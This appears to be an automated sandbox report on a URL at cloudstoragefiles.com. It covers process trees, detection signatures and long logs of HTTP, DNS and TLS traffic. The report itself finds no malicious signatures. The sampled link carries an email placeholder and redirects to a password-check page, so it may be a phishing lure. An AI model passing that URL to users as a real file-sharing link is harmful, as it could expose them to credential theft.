Edit tour

Windows Analysis Report
https://elr.cloudstoragefiles.com/swkskjd?e=$(email)

Overview

General Information

Sample URL:	https://elr.cloudstoragefiles.com/swkskjd?e=$(email)
Analysis ID:	1522271
Tags:	urlscan
Infos:

Detection

Score:	1
Range:	0 - 100
Whitelisted:	false
Confidence:	80%

Signatures

HTML page contains hidden javascript code

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

chrome.exe (PID: 4824 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7048 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2552 --field-trial-handle=2536,i,6694443211813113042,4194512464451044860,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5648 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4040 --field-trial-handle=2536,i,6694443211813113042,4194512464451044860,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 884 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4120 --field-trial-handle=2536,i,6694443211813113042,4194512464451044860,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 3536 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://elr.cloudstoragefiles.com/swkskjd?e=$(email)" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

There are no malicious signatures, click here to show all signatures.

Source: https://cloudstoragefiles.com/GGQdjJ?auth=1&shareable=true&access=restricted&check_type=password&timestamp=2024-09-29T13:45:56.980Z&priority=high&include_details=true?e=%24%28email%29#$(email)

HTTP Parser: Base64 decoded: 31900,181.999000,97.210600C182.023000,98.906600,181.177000,100.496000,179.759000,101.421000L106.684000,145.998000L105.732000,146.559000C104.337000,147.306000,102.778000,147.691000,101.197000,147.682000C99.633300,147.689000,98.093100,147.303000,96.716900,1...

Source: https://cloudstoragefiles.com/dshewn?e=%24%28email%29	HTTP Parser: No favicon
Source: https://cloudstoragefiles.com/dshewn?e=%24%28email%29	HTTP Parser: No favicon
Source: https://cloudstoragefiles.com/dshewn?e=%24%28email%29	HTTP Parser: No favicon
Source: https://cloudstoragefiles.com/GGQdjJ?auth=1&shareable=true&access=restricted&check_type=password&timestamp=2024-09-29T13:45:56.980Z&priority=high&include_details=true?e=%24%28email%29#$(email)	HTTP Parser: No favicon
Source: https://cloudstoragefiles.com/GGQdjJ?auth=1&shareable=true&access=restricted&check_type=password&timestamp=2024-09-29T13:45:56.980Z&priority=high&include_details=true?e=%24%28email%29#$(email)	HTTP Parser: No favicon
Source: https://cloudstoragefiles.com/GGQdjJ?auth=1&shareable=true&access=restricted&check_type=password&timestamp=2024-09-29T13:45:56.980Z&priority=high&include_details=true?e=%24%28email%29#$(email)	HTTP Parser: No favicon
Source: https://cloudstoragefiles.com/GGQdjJ?auth=1&shareable=true&access=restricted&check_type=password&timestamp=2024-09-29T13:45:56.980Z&priority=high&include_details=true?e=%24%28email%29#$(email)	HTTP Parser: No favicon
Source: https://cloudstoragefiles.com/GGQdjJ?auth=1&shareable=true&access=restricted&check_type=password&timestamp=2024-09-29T13:45:56.980Z&priority=high&include_details=true?e=%24%28email%29#$(email)	HTTP Parser: No favicon

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49737 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49761 version: TLS 1.2

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49737 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64

Source: global traffic	HTTP traffic detected: GET /swkskjd?e=$(email) HTTP/1.1Host: elr.cloudstoragefiles.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dshewn?e=%24%28email%29 HTTP/1.1Host: cloudstoragefiles.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: cloudstoragefiles.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /GGQdjJ?auth=1&shareable=true&access=restricted&check_type=password&timestamp=2024-09-29T13:45:56.980Z&priority=high&include_details=true?e=%24%28email%29 HTTP/1.1Host: cloudstoragefiles.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/ec4b873d446c/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: cloudstoragefiles.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/ec4b873d446c/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/241b4/0x4AAAAAAAkADMcpklP8sqhD/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8cac6acac9d61809&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/241b4/0x4AAAAAAAkADMcpklP8sqhD/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/241b4/0x4AAAAAAAkADMcpklP8sqhD/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8cac6acac9d61809&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1873559873:1727615690:U0M1_36ujtQBM26SoEsl3M9oa3qie42arCdiESuaeCc/8cac6acac9d61809/8a5b730841ae70c HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/8cac6acac9d61809/1727617565889/515d493718c25daab272f777f117673e39ba48443bab3df9d80c08c07e126b92/slYH2Pw7y5byV0f HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/241b4/0x4AAAAAAAkADMcpklP8sqhD/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8cac6acac9d61809/1727617565890/ibITg5EigMB2HKW HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/241b4/0x4AAAAAAAkADMcpklP8sqhD/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8cac6acac9d61809/1727617565890/ibITg5EigMB2HKW HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1873559873:1727615690:U0M1_36ujtQBM26SoEsl3M9oa3qie42arCdiESuaeCc/8cac6acac9d61809/8a5b730841ae70c HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: elr.cloudstoragefiles.com
Source: global traffic	DNS traffic detected: DNS query: cloudstoragefiles.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com

Source: unknown

HTTP traffic detected: POST /report/v4?s=FW%2F%2FUMpbauTZFQtwYPQ%2Fw%2B98WRznb8yzLHoG9jPjk0ADl8VhFU9TM1VsnCMQ%2Buttj3wGgGz4p9W36DV4UpQNA56yUNIpt7LKJVSCEs96P5gJQfYaxe5bCo68OK00q9%2F8xj8lFtw2CZM%3D HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 403Content-Type: application/reports+jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Sep 2024 13:46:09 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: zxysJz+fqkxkotMgRSLazxG0mOjV7gDmChU=$T8ms7DxgeWaeLom6Server: cloudflareCF-RAY: 8cac6af1888ec33c-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Sep 2024 13:46:13 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: zGDCd1d6Q+F08bjcGOo+COMxsnoSbMGXRfs=$QEYjqbbxobGr1/kGServer: cloudflareCF-RAY: 8cac6b0b8c841841-EWR

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49744 version: TLS 1.2
